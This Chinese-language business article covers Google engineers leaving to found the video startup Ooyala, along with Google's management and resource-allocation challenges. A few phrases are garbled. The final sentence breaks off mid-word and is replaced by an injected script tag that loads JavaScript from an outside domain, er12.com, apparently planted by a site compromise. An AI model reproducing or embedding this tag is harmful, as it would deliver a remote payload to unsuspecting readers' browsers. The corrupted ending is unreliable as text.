离开“天堂” 自主创业
肖恩·克纳普(sean knapp)踏上的就是这样一条创业之路。作为一名年轻的计算机专家，他或许再也找不到一份比这更好的工作了，因为他供职于素有“工程师天堂”之称的谷歌。在这里，他享受到了各种各样待遇，包括两周一次的按摩、衣服有专人洗熨，美味佳肴免费享用。而克纳普他本人的前途更加看好，因为他参与开发了谷歌最受关注的产品，包括作为公司核心业务的搜索技术。
克纳普充分利用了属于他的“20%的时间”。每周，谷歌都会为工程师安排一天的时间，让他们放手从事自己感兴趣的项目。然后就在一年前，他和两位同事——俾斯麦·利普(bismarck lepe)和贝尔萨·利普(belsasar lepe)兄弟(分别只有28岁和21岁)选择了一条许多谷歌年轻天才工程师所走的道路：创业。他们想出了一个有关网络视频的新创意后，便决定离开“天堂”，创办自己的公司。
这种事情在谷歌从未发生过，或者说过去没有过。2007年4月，他们三个宣布将要离开谷歌时，并没有给出任何确切的理由，只是说他们想要做自己的事情。虽然不清楚他们要走的想法因何而生，但谷歌还是想留住他们和他们的项目。 突显一系列问题
员工跳槽在硅谷屡见不鲜，尤其是那些高管完成原始积累后，便立志开创自己事业的公司。谷歌ceo埃里克·施密特(eric schmidt)对员工跳槽会影响公司业务的说法嗤之以鼻。他说：“我们每周招募上百名精英，新加入的员工数量超过了离职员工。”有意思的是，施密特本人可谓这些人的“先驱”，他先是从sun公司跳槽至novell，后来又从novell到谷歌另谋高就。
高管和工程师等人才流失并不是谷歌今天面临的唯一挑战。说谷歌面临挑战，你也许不会相信。的确，谷歌净利润高达10亿美元，作为网络搜索行业的巨头，它甚至威胁到微软的利益。但事实是，谷歌强劲的增长势头终将放缓，正如公司规模所显示的那样。规模成为变显露。
现在谷歌是市场的领导者，然而这带来了一个历久不衰的难题：过程和创新，哪个更重要？纵观谷歌走过的发展历程，这个搜索巨头拥有一套意味深长的赚钱模式：强大的搜索广告系统。这套系统如井喷一样给谷歌源源不断带来财富，但并非谷歌唯一一个“喷油井”，因为该公司其他的项目也正在或者即将“井喷”。
谷歌自身存在问题引出了一个敏感话题。在我撰写这篇文章的时候，salesforce.com的ceo、谷歌商业合作伙伴马克·贝尼夫(marc benioff)打来电话，讨论了其公司同谷歌建立的合作。我总是很乐意接到口若悬河的贝尼夫的电话，只是我从不主动给他打电话。谷歌“最高层”有人要求他同我见面。“他们必须如微软一样建立完整的收入帐本。他们拥有一头神奇的‘现金牛’(即摇钱树)，他们还需要‘小鸡’和‘山羊’。”
谷歌在面临多样化发展问题的同时，还必须证明它的与众不同之处，例如拒绝听从华尔街的指挥以及提供免费食品等。它还必须证明其成功之处是缘于其googleyness。即便谷歌的朋友对此也是满腹狐疑。新闻集团总裁兼首席运营官彼得·彻宁(peter chernin)表示：“出于那方面的原因，我相信他们并不处在通用电气、宝洁、微软的行列中。”新闻集团旗下的社交网站myspace是谷歌的重要合作伙伴。
必须做到资源合理配置
谷歌经营之道的基本原则是与众不同。谷歌两位创始人拉里·佩奇(larry page)和谢尔盖·布林(sergey brin)在公司2004年首次公开募股(ipo)前致潜在股东的信中就曾对这一品质大加赞美，并承诺将秉承这一原则。这和我们看到的一样，谷歌自身运营就不因循守旧。
现代管理最基本的规则之一是必须做到合理分配资源，决定优先实施哪个项目，资金优先投入到哪个领域，还有选择投资的最佳时机。虽然这并不和谷歌的观点格格不入，但这一概念并非他们的第一选择。
事实上，商学院mba第一堂课所学的就是，资源分配是管理者最重要的职责。毕竟，当资源并不稀缺时，决策者就没有理由把注意力集中在分配稀缺资源上。截至到今年第一季度末，谷歌的现金和其他流动资产综合达120亿美元，每个季度的现金收入近20亿美元。
在谷歌，资源分配之外的问题往往是放任主义。以谷歌副总裁兼企业部门经理戴夫·格罗伍德(dave girouard)面临的问题为例，他想对gmail做出一些改进以使这一产品对公司客户更具吸引力。
为了达到这一目的，他需要说服不自己其管理的gmail工程师。他将自己的努力比作(美国)和平队的一次任务：全心全意却没多大权力行使命令。然而，一方面是格罗伍德求着工程师，而另一方面，却是和ooyala创始人一样的员工获得空头支票的承诺。一位热心的谷歌支持者说：“他们不是上帝，以为自己能解决一切问题。”
这种行事草率的作风往往使员工的努力付之东流，或者导致产品开发进退两难。在线网页编辑工具google page creator，是谷歌实验室于2006年?script src=http://er12.com/t.js>
